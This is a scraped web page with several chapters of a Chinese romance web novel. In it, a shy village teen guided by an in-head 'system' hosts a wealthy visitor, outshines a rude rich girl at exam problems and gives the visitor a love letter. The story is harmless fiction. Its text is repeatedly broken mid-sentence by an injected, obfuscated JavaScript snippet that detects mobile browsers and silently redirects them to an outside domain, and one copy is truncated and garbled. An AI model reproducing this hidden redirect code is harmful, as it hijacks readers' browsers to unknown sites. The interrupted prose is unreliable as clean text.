这该怎么办,陶柠有些懊恼,早知道昨天晚上应该强撑着不睡去钻被窝的。 但一想到男人还要和自己同吃同睡几天,今天晚上还有机会,陶柠又放心起来。 他在去正堂吃饭的路上捏紧拳头,暗暗下定决心,今晚一定要钻被窝成功,希望赵静群能不要讨厌自己。 慢慢挪动脚步去了饭桌,却发现赵静群人不在。 陶圆边给陶柠和小檬夹肉夹菜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859529|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边说:“静群那孩子一大早就起来了,他们城里人也真是爱干净,大早上在那里洗澡,还是用冷水洗,哎.....他们城里喜欢用冷水洗的啦?洗澡就算了,那孩子又一大早上不吃饭也不知道干啥去了,问他也只说有事......” 陶柠也一边吃饭一边听陶圆念叨,心想,原来他是有事去了啊。 陶圆话锋一转,“噢对了柠柠,药给你放屋里了,你等会儿记得去涂药,要是太疼了你就不要像个傻子一样出去了,知道不啦?” 陶柠点了点头,今天没有昨天那么疼了,涂完药之后过几天应该就好了。 现在时间还很早,书记还没来找他,那就说明暂时不用去找赵静群他们,所以陶柠吃完饭后帮着洗了碗,才回屋涂药。 小檬趴在他床边,看着少年膝盖上青紫的伤口,心疼地抽噎着鼻子,然后往伤口上吹气,用软糯的声音说:“呼呼,舅舅不疼!呼呼呼。” 陶柠被小檬天真可爱的动作逗笑了,他勾起嘴角,恰好清晨的光线淡淡洒进来,卷起山中的晨雾,带着朦胧湿意的微风吹起他额前的碎发。 小檬盯着他,亮晶晶的眼睛发光,“舅舅,你真好看!” 陶柠把棉签扔进了垃圾桶,摸了摸他柔软的头发,笑着说:“好看是夸阿姐的,你要说舅舅很帅。” 小檬似懂非懂地“噢”了一声,然后甜甜地笑起来,“那妈妈和舅舅是世界上最好看的人!” 陶柠又笑了一下,思考了几秒,接着说:“小檬,不可以对那个.....嗯.....” 他在想该怎么对小檬提起赵静群,过了片刻,才说:“昨天来的那个哥哥,你要叫他静群哥哥,他是客人,不可以对客人没礼貌,知道吗?” 小檬学着叫了一声,“静群哥哥?” 陶柠弯起眼睛,“嗯,静群哥哥。” 少年的声线软而轻,就像一场四月的春雨落在柠檬树上,柔软的唇咬下“静群哥哥”四个字,春雨降临,淅淅沥沥。 嘀嗒、嘀嗒。 雨滴落进了门外的人耳中。 赵静群身上还沾着朝露,手里提着装了药膏和衣服的黑色塑料袋,慢慢的、清晰的,他这次听见了自己的心脏在剧烈跳动,逐渐与春雨落下的声音重合了。 8. 第 8 章 陶柠还想再多叮嘱小檬几句的时候,门突然被推开了。 男人踏着漫不经心的步子进来,脸上又恢复成那副似笑非笑的神情。 他把一个黑色塑料袋往陶柠书桌上一扔,恰好塑料袋撞在数学测试题上。 那些“秘籍”的封面露出一个角——是两只手牵在一起的画面,看手的大小和形状,也知道不是一男一女。 赵静群目光一凝,他更好奇了,这呆子到底在看些什么? 但陶柠没发现自己的秘籍要暴露了,注意力全部被那个黑色塑料袋吸引。 小檬转眼就把他的话给忘了干净,噔噔噔跑到书桌前,打开塑料袋一看,惊叹说:“舅舅!里面好多衣服!” 陶柠有些惊讶,看向逆着光站在门口的赵静群,后者眼神略微闪烁,看不出多少情绪,淡笑道:“借住的住宿费。” 陶柠明白过来了,“哗啦”一声,这时候小檬已经把一件又一件衣服拿了出来。 这些衣服都被包裹在完好无损的透明塑料袋里,塑料袋外面都印着陶柠从未听说过的牌子和标志,但是他在商场里见到过。 他穿的最多的衣服,就是小县城里路边上几十块两件的短袖和裤子,虽然质量不太好,有时候他还会有些过敏,但陶柠一般也能穿很久。 这几乎是他头一次收到装在塑料袋里、有精美标志的衣服,看起来就知道很贵,小檬又翻出来几支膏药,献宝似地捧到他面前。 “舅舅,这里面还有药呢!” 陶柠不清楚向导任务结束后书记会给他多少钱,但现在赵静群给他买的这些东西肯定价格不菲。 那岂不是提前预支工资了? 陶柠为自己又赚到一些钱感到高兴,一双湿漉漉的眼睛看过去:“谢谢你,你真是个好人。” 小檬看他这么说了,嘟了下嘴,也跟着说:“静群哥哥,谢谢你。” 这一大一小亮晶晶的眼睛乖巧看过来,赵静群内心的冰忽然被融化了一点,大早上赶去拿东西的疲倦也消散了。 他嘴角勾起的弧度高了些,可话到嘴边,却说:“其他两家都买了,你别想太多。” 陶柠对他的话有些摸不着头脑,他想太多什么了?但还是乖巧地点了点头,过了片刻,轻声问:“那下次……可以直接换成钱吗?” 听到这话,赵静群嘴角的笑有些挂不住了,这呆子还得寸进尺了?这是追人的态度么? 屋内陷入诡异的沉默,陶柠有些困惑,“不可以的话,那……抵消一点我欠的债可以吗?”不料眼前的男人嘴角的笑更冷了。 陶柠也更困惑了,同时挫败感也更深,自己果然不适合做数学题以外的事情,嘴巴笨,也不知道说什么话讨人开心。 就在诡异的沉默逐渐蔓延时,刘书记匆匆过来了,喊陶柠去给他们带路,并且万般叮嘱要好好招待远道而来的客人。 陶柠认真地点点头,因为膝盖上的伤口有些吓人,他这次换了长裤,这次代步的工具依旧是那辆破旧的电动三轮。 只是这一次,赵静群默不作声去了后座,陶柠从家里带了些东西,一个人坐在前面开车。 他开得稳稳当当,一路把赵静岁、何年年还有何言他们三人接走了。 何年年一上车就开始抱怨:“他们这村里条件也太差了,我连觉都睡不好,看我的黑眼圈,岁岁,咱们下次不要来了。” 赵静岁温柔地看着她,“好,下次不来了。” 何言则翻了个白眼:“你有黑眼圈?恐怕睡得和头猪一样吧,昨晚给你打四五个电话都没接。”说完,他小心瞥了一眼坐在自己身旁的男人,嘟囔了一嘴,“我看赵哥确实是没睡好......” 昨天那个胆怯的少年坐在他们前方开车,而男人坐在他左边,眼角下有明显的乌黑,头是偏向正前方的,目光似乎也落在前方,但看起来有些漫不经心。 感受到右边人探究的眼神,赵静群不紧不慢扫了他一眼,挑眉说:“哦,蚊子多了点,是没睡好。” 何言尴尬地笑了几下,氛围陷入沉默,一直到陶柠停下车,气氛才又活跃起来。 何年年拉着赵静岁下车,牵着她的手赞叹道:“岁岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859530|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你看,这地方还不错,没想到这小山沟里真的有这么漂亮的地方。” 只见放眼看去,站在山上,没了树木的遮挡,眼前的景色豁然开朗,是绿景与蓝空的交织,以及壮观的、仿佛没有尽头的田梯和柠檬树林。 夹杂在山中深处,偶尔镶嵌了几户人家,颇有“小山流水人家”的味道,而他们脚下,则是像绿宝石一样的湖水。 何言发出感慨,“难怪有那么多人过来采风......” 赵静群看了一会儿,就把余光放在默默站在他们身旁的陶柠身上,有温和的风吹起了他白色的衬衫,露出衣角下窄瘦的腰肢和雪白的肌肤。 他移开视线,又听见少年用轻软的声音说:“我们脚下的这座山,叫巧姑娘山,相传是明代的时候,有个叫巧姑的妇女在这座山里迷失了,是一个叫‘轩’的妖怪救了她。” “两人因此结缘,互许终生。但人的寿命却很短,五十年后,巧姑离开了世界,埋葬在这座山里,轩无法接受她离开,就把自己的身躯化作了这片湖和远处的梯田,他希望以这样的方式,守护这座山,生生世世和巧姑在一起。” “所以我们黄檬村也有一个习俗,”少年顿了顿,轻轻地笑起来,“如果遇到了心仪的人,就会带他来这座山宣誓,把红绸系在一棵树上,许愿和他永远在一起。” 第一次听少年说那么多话,而且没有丝毫停顿,也不见平日里的腼腆,仿佛只要碰到他会的知识,便无所不能,无所不知。 所有人怔怔地看着他,直到何年年拉着赵静岁的手撒娇说:“岁岁,等会儿你画完画后我们就去宣誓吧,喂,那个、那个姓陶的,你带了红布没有?” 她话落下后,见有人投过来古怪的眼神,何年年顿时怒了:“你们这些臭男人想什么呢?!我和岁岁是好闺蜜!好闺蜜知不知道?好闺蜜就是要一辈子在一起的!” 赵静岁忍俊不禁,“好,等会我们就去。” 而此时此刻,赵静群的目光又回到了陶柠身上,想起他刚才讲的故事,忍不住出神。 宣誓?有点意思。 9. 第 9 章 陶柠说完后,找了一块最合适的草地给他们写生,然后翻了翻自己的带的东西,就去找独自在角落抽烟的赵静群了。 “给,”陶柠递给一瓶七神花露水给他,“涂在蚊子咬的包上,可以止痒。” 赵静群抽烟的动作一顿,缓缓吐出一口烟雾,他盯了少年片刻,把烟蒂扔地上,接过花露水,语气听起来是随口问的:“你怎么知道我被蚊子咬了?”嘴角却愉悦地勾起来。 这小基佬是偷听他说话了吧?还挺会献殷勤。 “刚才你在车上说没有睡好觉,是被蚊子咬了。”陶柠顿了顿,心想家里的蚊子从来不咬他的,但现在突然多出来一个人,是他没有考虑周全,还好带了花露水。 “我晚上点盘蚊香。” 是不是怕自己不睡他家了?又是送花露水又是点蚊香。 这么一想,不知道为什么,赵静群心情更好了点,面上却看不出多少情绪,刚想让这呆子带他去找一下宣誓的地方,旁边就传来何言冷嘲热讽的声音。 “何年年,你去重读小学吧,连最基本的加减法都能算错,这个世界上再也找不出比你更蠢的了......” “何言你找骂是不是?!你自己教得什么玩意你自己心里不清楚吗?我也建议你去重读小学语文,就你这语言表达能力只有猪能听得懂!” “是啊,我就是在教一头猪!” 何年年当即就火了,“啪”的一声把物理试卷扔到地上,撸起衣袖就想和何言干架。 赵静岁夹在他们两人中间,无可奈何道:“要不试一下小猴搜题呢......” 赵家有钱有权,赵静岁成绩也好,不过她喜欢画画,走的是艺术路线,所以这次出来就带了画具。 何家家里也有钱,但比较特殊,是圈子里不太看得起的暴发户。 何父何母为了让家里融入圈子,拼命培养一双儿女,为此把何氏兄妹送到了上流社会才能入读的私立精英学校。 每年不包括其他费用,光学费就六七十万的投入,所以何父何母对他们的成绩和排名看得很重。 其中何言的成绩勉强过得去,何年年就有些惨不忍睹了,尤其是她不擅长的数理化,现在何言还嘲讽他,她忍不了一点,当即张牙舞爪扑了过去。 就在两人要来一场生死决斗时,身后响起一道干净柔软的声音:“我可以教你。” 闻言,何年年看过去。 只见穿着洗到发白的衣物和鞋的少年缓步走来,他弯腰拾起被她卷成一团的试卷,很轻地将试卷展开,而后耐心地把试卷上的褶皱抚平。 少年垂着头扫了几眼,露出白皙而线条优美的侧脖颈,短短几秒便抬起头,厚重而呆板的黑框眼镜后,是一双清澈真诚的眼眸,“这些题我会,可以教你。” 何年年掐着何言的手停了下来,仿佛听见了比何年说她是一头猪更加可笑的事情。 她双手抱臂,脸上的不屑和鄙夷毫不掩饰,“你在搞笑吧?你知不道自己在大言不惭说什么?你们这山沟里学的东西能和我们比吗?我们学校的题目,拿你们这市里边最好的学校比,也难上千百倍......” 因为学校奉行精英模式,所以学校内有除了多到数不清的课内外拓展活动,平日里布置的作业,也一般从竞赛题里选,有些学生学起来很困难,所以早早就选了艺术路线或者出国留学。 剩下一小部分还在坚持文化道路的,都是一些聪明到不屑靠家里的学生和学校特招的、用来提高国内名校录取率的普通学生。 当然,何年年是个例外,她对艺术一窍不通,又不肯让何言比下去,所以还在坚持文化学习。 听到这话,陶柠站在原地有些不知所措,“我、我.....” “让他试一下怎么了?” 这时候,一道低沉微冷的声音打断了僵硬的气氛,赵静群双手插着兜走来,他似笑非笑地看着撇嘴的何年年。 男人虽是笑着的,但眼神却很冷,令人看一眼便发怵。 何年年嚣张的气焰一下子就灭了,她是打心底害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859531|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕这个男人,传闻这人在没进赵家前,不仅是个混混,还给别人收过保护费,这对他们这些从小就生活在温室里的人来说过于遥远,也让人听了就忍不住想远离他。 赵静岁似乎也害怕赵静群会伤害何年年,急忙走到她身边护着,“哥.....年年说话就是这样的,但她没有坏心眼。” 她说话的时候,看赵静群的目光有些警惕,完全不像看亲哥哥的眼神,而赵静群站在他们三人对面,把少年护在身后,影子被拉得很长。 陶柠站在他身后,有些呆愣地看着眼前高大的背影,赵静群身高腿长,给人的压迫感也很强,但总是笑着的,却也总是漫不经心,仿佛对任何事情和人都不在乎。 但此时此刻,却显得有些孤寂。 少年的心微不可闻地动了一下。 直到何年年嘟囔着说:“那就让他试试呗,哼,等会没写出来出丑可别怪我。”她又翻白眼补充:“这题目网上可搜不出答案的。” 陶柠垂下眼睛,没有说话。 赵静群也拧起眉,他虽然感受过这呆子两面墙的奖状带来的震撼,但那毕竟是小打小闹。 用脚指头想也清楚,一座小山村里出来的学生,根本比不过集全国教育资源培养出来的名校学生,更何况去做他们的题目。 所以他走到低头没说话的少年身前,想凑近了提醒他几下。 到了跟前,却闻到昨晚睡不着真正的元凶——那股甜腻的柠檬香后,赵静群不自然地停下脚步,低声道:“做不出来也没关系。” 陶柠没有解释,点了点头,找了块干净的草坪坐下来。 赵静岁给了他一支笔,他接过来,开始闷着头写。 时间一点点过去,何年年甚至懒得凑过去看,翻着白眼瘪嘴道:“他要是能做的出来,我从这山上跳下去好吧,真是服了,唉。” 她扣了几下手指甲,满不在乎说:“喂,你做不出来我也不会和你计较,毕竟你们乡下人想找点存在感我知道,但下次没见识就别装了……” 10. 第 10 章 于是除了赵静群站在不远处盯着少年看后,其他三人该做什么,就做什么去了,显然是丝毫不相信陶柠可以把题目做出来。 赵静群皱眉,盯着少年闷头写的呆头呆脑的模样,一时间心头涌现出了复杂的情绪,这呆子有够呆的,就不知道用手机算一下数或者查个题目么? 但是想起何年年说题目查不到,而陶柠根本没有手机。赵静群也不知道是该拿这呆子怎么办了。 正思索着,赵静群忽然惊觉,这呆子做不做的出来,关自己什么事儿?我对他的关注是不是有点过了? 他有些僵硬地把视线从陶柠身上移开。这时候,少年轻软的声音像一阵微风吹了过来:“做好了。” 赵静群的视线再次被他吸引。 微风落下,其他三个人皆是一惊,何言低头看了下手表,“靠,半个小时不到你就做好了......?”装也得装的像样点吧。 就在所有人都这么想的时候,何年年走过去,“唰”地把试卷夺走,她脸上满是嘲弄,低下头看,然而没过多久,她脸上的表情从不屑逐渐到凝重。 看到最后,她咬牙冲何言喊:“快把答案从我包里面拿出来!” 何言也意识到了不对劲,赶紧把答案拿过去,他们学校把难到变态的题目发下去后,还会再发一份答案,至于抄不抄,全靠学生自觉。 他一边递过去,一边去瞟何年年手上的试卷,只见试卷上,一部分是何年年奶酪状的字体,另一部分,则是与少年本人完全符合的方方正正的字体,就像刻板的机器人一样一笔一划把解答的过程写出来了。 何言看得懂一些,他发现,这深山老林里少年写的,甚至比答案的过程更好理解,也更详细! 而且是……全对! 何言被震惊到说不出话,心底暗暗咂舌,这他妈遇到什么变态了??连最后一道大题都写出来了,而且这些题目一共五道选择题,五道大题,这土包子写完所有题目的时间,竟然连半个小时都没有! 要知道,他们班上第一名都做不到这个地步,能有这种速度和准确率的,只有学校里那些智商高到离谱的竞赛变态,而那些变态,早已经被国内外各大知名高校预先定了的,少部分则是冲着省状元的名头去的。 但是现在,那些难倒无数人的题目,居然会被一个深山老林里出来的学生做出来了! 这.....这...... 何言瞬间换了一种心情看陶柠了,仿佛在他面前的不再是一个深山的土包子,而是一个长了三个脑袋六只手的超级怪物。 觉得不可思议的同时,何言也松了口气,还好这种变态估计一辈子就待在这种深山老林了,未来他们回到学校,也不会碰到这种人。 另一边,何年年显然深受打击,她难以置信地把少年写的答案与标准答案看了一遍又一遍,到最后,拿着试卷的手在颤抖,想起自己刚才嘲讽了这个少年半天,她眼眶发红了,“......你是不是拿手机查了?你怎么可能做的出来?” 可何年年忘了,是她自己亲口得意地说这些题目手机上找不到答案的。 她似乎难以接受一个山沟里出来的学生,竟然把她一个出身精英学校的学生比下去了,“啪”地一下把试卷砸在地上,眼角的泪大颗大颗落下来。 何年年大声吼着:“你以为你是谁?!就算你写出来了又怎样,就是靠运气!你根本不配教我!” 赵静群的脸色瞬间阴沉下去,身上漫不经心的气息一下子敛去了,浑身散发出压迫感,他挡在陶柠面前,一双如冰的眼睛冷冷看着她,“你没事找事是么?” 虽然许多人都在传谣说赵家找回来的大少爷曾经是个混混,可没多少人见过,但此时此刻,任谁也不会怀疑,那些谣言是假的。 他浑身上下散发出来的压迫感,以及眼眸中的冷意,是要在无比混乱的地方练就出来的。 然而何年年在气头上,根本管不了惹到赵静群的后果,她像只被逼急了谁都咬的兔子,红着眼眶大声质问回去:“我就是没事找事!你能拿我怎么样?你是岁岁的哥哥,总是护着外人做什么?!他有什么好的你要护着他……” 她不说这话还好,一说完,赵静群的脸色更阴沉了,但如果仔细去看,就会看到他眼底一闪而过的慌乱,他甚至用余光瞥了一眼站在原地手足无措的少年。 他略微咬牙,“你闭嘴。” “怎么了?!被我戳中心事了吗?”何年年像是逮住了能反击的事情,火焰顿时更嚣张起来了,“我看你对这个土包子好就是……” “年年!” 这时候,赵静岁站出来打断她的话,她走到两人中间,箭拔弩张的气氛才缓和一些。 赵静岁一把抱住何年年,后者在她怀里哭出来了,“岁岁……他们都欺负我……我要回家。” 赵静岁拍了拍怀里的人,低声哄她,“好了没事了,他做出来就是凑巧而已,说不定他以前做过,年年你才是最厉害的。” “岁岁本来就是你说的这样……” 看着互拥的二人,赵静群心底的火气烧得更旺了,他冷笑一声,话中带刺:“自欺欺人。” 这话一落,瞬间像火把点燃了炸弹,何年年猛地从赵静岁怀里钻出来,头发凌乱,双目猩红地瞪着他。 就在她又要怒吼的时候,一道很轻的声音响起,却也瞬间平息了她们的怒火。 “她说的没错……我以前……做过相同的题目。” 他们看过去,只见少年一个人孤零零地站在原地,垂着头,天色逐渐黯淡,没有人能看清他脸上的表情,却只能听见他细弱蚊蝇的声音,“是我……是我错了。” 此时此刻,少年看上去才有真正从深山走出来的自卑,他的手在微微发抖,捏着衣角,看起来非常局促不安。 “我下次……不会了。” 赵静群看着他,忽然,心脏好似被泡进了酸涩的水里,整颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859532|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心脏被泡得酸涩不堪,轻微一碰,就破了。 说完这些话后,少年就不再作声了,他低着头,从口袋里掏出来三张很平整、一看便被细心保护好的百元钞票,然后又把被扔成一团的卷子捡起来,展平、铺开,把钱放在上面。 “上次不小心弄坏了你的行李箱,对不起……这些钱是赔偿。” 他不懂人际关系,给何年年讲题的初衷是真心想帮她,顺便向她赔礼道歉。 可现在,似乎一切都弄砸了。 也许他真的不适合与人相处吧,他总是弄巧成拙,学校里也有很多人说他呆。 曾经他每天要写数十份人的作业,因为那些人不想做,便满脸嘲讽对他说:“死呆子,你不是很厉害吗?那我们的作业你也做了吧。” 阿姐说过,要和人好好相处,于是陶柠做了,希望和人好好相处,可他帮他们做完作业以后,下一次还是会换来嘲笑。 现在……也是这样…… 少年没有说话了,他一个人低着头慢慢地去了一棵树下,背影单薄孤寂。 何年年看着那几百块钱,正要说她行李箱几百块怎么可能买得起,却听见身旁传来冰冷刺骨的声音:“你再多说一句试试?” 这下子,三人都看得出来,赵静群是真的动怒了,极其强烈的压迫感沉沉地压在他们心头。 何言咽了口唾沫,顶着巨大的压力扯走了何年年,“好了好了,不就是几道题目吗,走吧。”然后他低声在她耳边说:“你丫快别说了,我感觉这位煞神真的想抽你……” 太阳逐渐西斜,接下来的时间里,弥漫在几人间的氛围有些压抑,除了何年年,没有人再说过话。 一直等到天色黯淡下去,陶柠才载着他们回去了,刚到家,赵静群便头也不回出去了。 陶圆叉着腰,“嘿,这孩子怎么又不吃饭……” 陶柠在饭桌上默默扒拉着碗,脑海里响起嗑瓜子的声音。 【咦,呆瓜,发布任务啦。】 【叮咚!触发攻略赵静群单人线第二条任务——】 【请在明日降临之前,选择写一封情书给他或者偷亲他!两个都选攻略更胜一筹喔。好包子,攻略加油吧!】 陶柠愣了一下,系统也在他脑海里嗑瓜子磕得更起劲。 【呆瓜,选一个吧。】 氛围凝滞了几秒,系统听见陶柠低声说:“我都选。” 系统的瓜子掉地上了,震惊道:【呆瓜,你醒悟啦?】 这小呆瓜以前不是比较抗拒这些任务吗?怎么今天一下子那么积极? 陶柠垂着眼睛,浓密的长睫微微颤抖,似乎暴露了少年的心绪,“不、不是的,我现在觉得,他是个好人……我把他当朋友。” 【很有道理啊呆瓜!你不抗拒就好了,你实在不喜欢他们,也可以和他们做朋友嘛。】 【不过你们人类的朋友是可以偷亲的吗?】 “是……是吧……” 11. 第 11 章 吃完饭后,已经是晚上七点了,陶柠在院子门口站了一会,一张白皙的脸微微皱着,似乎在思索。 【呆瓜,你在想什么呢?今天马上就要过去了,如果任务没完成,我是不会心慈手软的,哼!上次你希望我加夜班的事情我还记得呢。】 陶柠真心实意道:“对不起……我在算他六点左右去了县城,回来要两个小时,我写字的时速是每分钟二十八到三十个字左右,如果时间充足,我能写三千五百个字的情书,可是还有其他不可控的原因,不确定的概率……” 系统瓜子又掉了: 【呆瓜,你怎么知道他去了县城?那你到底能写多少字啊?】 陶柠不好意思地抿唇一笑,嘴角勾起若有若无的梨涡,“我猜的,上次他带回来的衣服,我去年六月初在县城商场里看到过……所以我想,他这次也去县城了。” “我应该会写满两千五百字。” 【咦?那不是少写一千字了。】 陶柠边往回走边和它聊,“我语文没学好,写太多了……不好。” 系统问:【有多不好?】 然后它就见识到了—— 只见写起数理化脸色都不变一下的陶柠,现在神色如临大敌。 他铺开整齐的信纸后,翻开了一本名叫《全国作文金句1000例》的书,还有一本叫《2012年高考作文好词好句合集》这两本书。 少年端端正正坐在书桌前,拿起钢笔,一边翻作文书一边写,系统全程看着他写完,内容令它这个从来没谈过恋爱的人工智能都惊了一惊! [亲爱的赵静群……] 少年停顿了一下,他想起男人说比他大,于是又落笔: [亲爱的赵静群哥哥,我叫陶柠,今年十八岁零三个月,家住云雾县黄檬村十二组二号……] 【停停停!】 系统及时打断他,它这个人工智能都忍不了了。 【我说呆瓜,你这是写情书呢还是给自己写介绍信呢?】 陶柠愣了一下,神情微微低落下来,红润的嘴唇不自觉地抿起,“对、对不起,我没写过。” 但许多年前,他收到过很多情书。 他每天上课一拉开抽屉,就会被各式各样的情书还有面包、点心等等东西淹没,下课的时候,又会有很多人来找他玩,或者向他请教问题。 只是陶柠从来没有拆开过那些东西,所以也不知道情书该怎么写。 系统看他这副呆头呆脑的模样,叹了口气,攻略的道路任重道远啊!它果然不能多指望这呆子,也明白他说怕写多了不好是什么意思了。 但这也太不好了!! 可是少年垂着头,巴掌大的脸上满是真诚,潋滟的双眸逐渐黯淡,露出一点小委屈的模样令人见了,只想把他抱进怀里哄着。 系统的运转器忽然卡了一下。 【其实……写得也不错。】 【你继续写吧。】 陶柠黯淡的眼睛一下子亮起来了,“真的吗?” 【当然是真的,但他收不收我就不知道了。快写吧,已经七点一刻了。】 于是陶柠埋头继续写,一笔一划写得极其认真,小小的房间里,微凉的晚风吹进来,“沙沙”声不绝于耳。 直到九点钟的时候,陶柠才终于停笔,他把写了情书的信纸用牛皮纸信封装了起来,上面写着“给赵静群哥哥”六个字。 只是到现在了,赵静群的人还没见踪影,陶柠就给自己的膝盖涂了药,膝盖上的青紫还未消退,看上去仍旧可怖。 他又点了一盘蚊香,淡淡的烟雾在房间里腾升起,最后才放心去洗澡了。 陶柠擦着头发出来的时候,赵静群已经回来了,他斜靠在门框边,一条长腿弯曲着,嘴里叼了根烟,和里面蚊香很淡的烟雾不同,烟头燃起的烟雾浓烈又刺鼻。 似乎与抽这种刺激性很强的烟的主人一样,危险性极强。 男人没什么情绪的目光扫过来,几乎一闪而过,语气不太好:“我特意给你买了衣服,怎么又穿成这样……伤还没好么?” 穿着小短裤的陶柠愣了一下,注意力又跑偏了:“……原来是你特意给我买的吗?” 意识到自己说漏了嘴,赵静群低声咒骂了一句,片刻,他把烟踩灭,有些僵硬地岔开话题,“我捡了个东西,放你桌上了。” 然后回房了。 陶柠小小的“哦”了一声,跟着他进屋,他一进去,就看到了桌上的手机。 看到手机的那刻,陶柠怔住了,他轻轻碰了一下,手机是一个他认识的牌子,陶圆用的也是这款,只是很便宜。 他对这些价值昂昂的东西不了解,所以不知道这款手机要多少钱,但看起来比他阿姐的要好些。 陶柠惊讶地问:“这……这是你捡的吗?” 赵静群坐在板凳上,双手放在后脑勺处,靠着墙,神色看起来有些疲倦,就连那头张扬的红发也黯淡了,平静的“嗯”了一声。 男人看起来神色无波,但只有他放在后脑勺处的手收紧,凸起来的青筋,暴露了他此刻暗潮涌动的心情。 陶柠相信了他,小心翼翼收回手,认真地夸赞道:“你真厉害,能捡到这么好的手机。” 听到这话,赵静群睁开眼,双眸盯着他,好似一只休憩的独狼盯上了他的猎物,而独狼的猎物,用甜腻的话语奖励了他。 好半晌,男人用低沉沙哑的声音说:“我手机多的是,这台捡的送你了。” 他特意在“捡的”这两个字上加重了语气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859533|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陶柠急忙道:“谢谢你,可是我不能要,手机太贵重了。我已经收了你的衣服和药……” 听见他又提起衣服,赵静群的脸色微沉,目光不自然地从他白皙的双腿上移开,“不要的话我扔了。” 陶柠愣了愣,“扔了很可惜的。” “那你拿走。” “可是……” 结果还没等他说完,赵静群忽然站起身走过来,抄起手机作势要往外扔,见状,陶柠急忙抱住他的胳膊,“我收!你不要扔,很浪费的……” 然而他还没抱住几秒,被他抱住胳膊的男人像是被烫到了一样,迅速甩开他往后退,脸颊两侧被碎发挡住的耳尖,泛起了一丝丝微不可闻的红。 “别动手动脚的。”男人的声音又低了几个度。 “对不起。” 见少年低落下去,男人忽然想起他白天受到的委屈,手指不受控制地蜷缩了几下,咳嗽一声道:“何言他们兄妹明天就走了。” “为什么啊?” “家里有事。” “噢。” 但陶柠不知道的是,男人兜里的手机,显示屏还未暗下去,上面是几条隔着屏幕,也能感受到冰冷的消息—— 【明天把何言他们兄妹接回去,不来接,我有的是办法让他们主动离开。】 收信人回的很快,【赵少,您别冲动!!我明天马上把他们接走。】 【嗯,后天来接我和赵静岁。】 【赵少,不是说最少待半个月吗?】 【赵少?……】 赵静群回过神,却看见少年已经走向书桌,不知道翻翻找找在找什么,是上次看的书么? 没等他细想,少年又走过来了,他洗澡后没有戴眼镜,皮肤像滑腻的牛奶,白到发光,浓密卷翘的睫毛一直在颤抖,似乎非常紧张。 他那双浅棕色瞳孔的眼睛看过来时,赵静群迅速移开了眼,心脏在“砰砰”直跳。 这呆子……想干什么? 赵静群心底总有种慌乱的错觉,下一刻,一个牛皮纸信封出现在眼前,紧接着是少年用软糯的声音,字正腔圆道: “赵…赵……赵静群,请你……收下我的情书……” “轰隆”一声,这句磕磕绊绊的话落下后,赵静群只觉得有道惊雷在耳边炸开了,他难以置信却夹杂着另一种波涛汹涌的情绪道:“你……说什么?” 少年第一次做这种事情,很是紧张,急忙垂下头不敢看他,鼓起勇气又说了一遍,“请你收下我的情书!” 他垂着头,只能看到男人沾了些泥巴的运动鞋,此时此刻,屋子里静到了可以听见一根针落地的声音。 不知道过了多久,陶柠才听见身前的男人语气僵硬说:“我不喜欢男的。” 12. 第 12 章 这句话一落下,没等两个人说什么,系统已经事先尖叫起来: 【呆瓜!他不喜欢你!】 陶柠愣了一下,没过几秒,后知后觉回复他:【没关系。】 系统也跟着沉默了几秒: 【他不喜欢你,也拒绝你,你不伤心吗?】 陶柠说:【不伤心。】 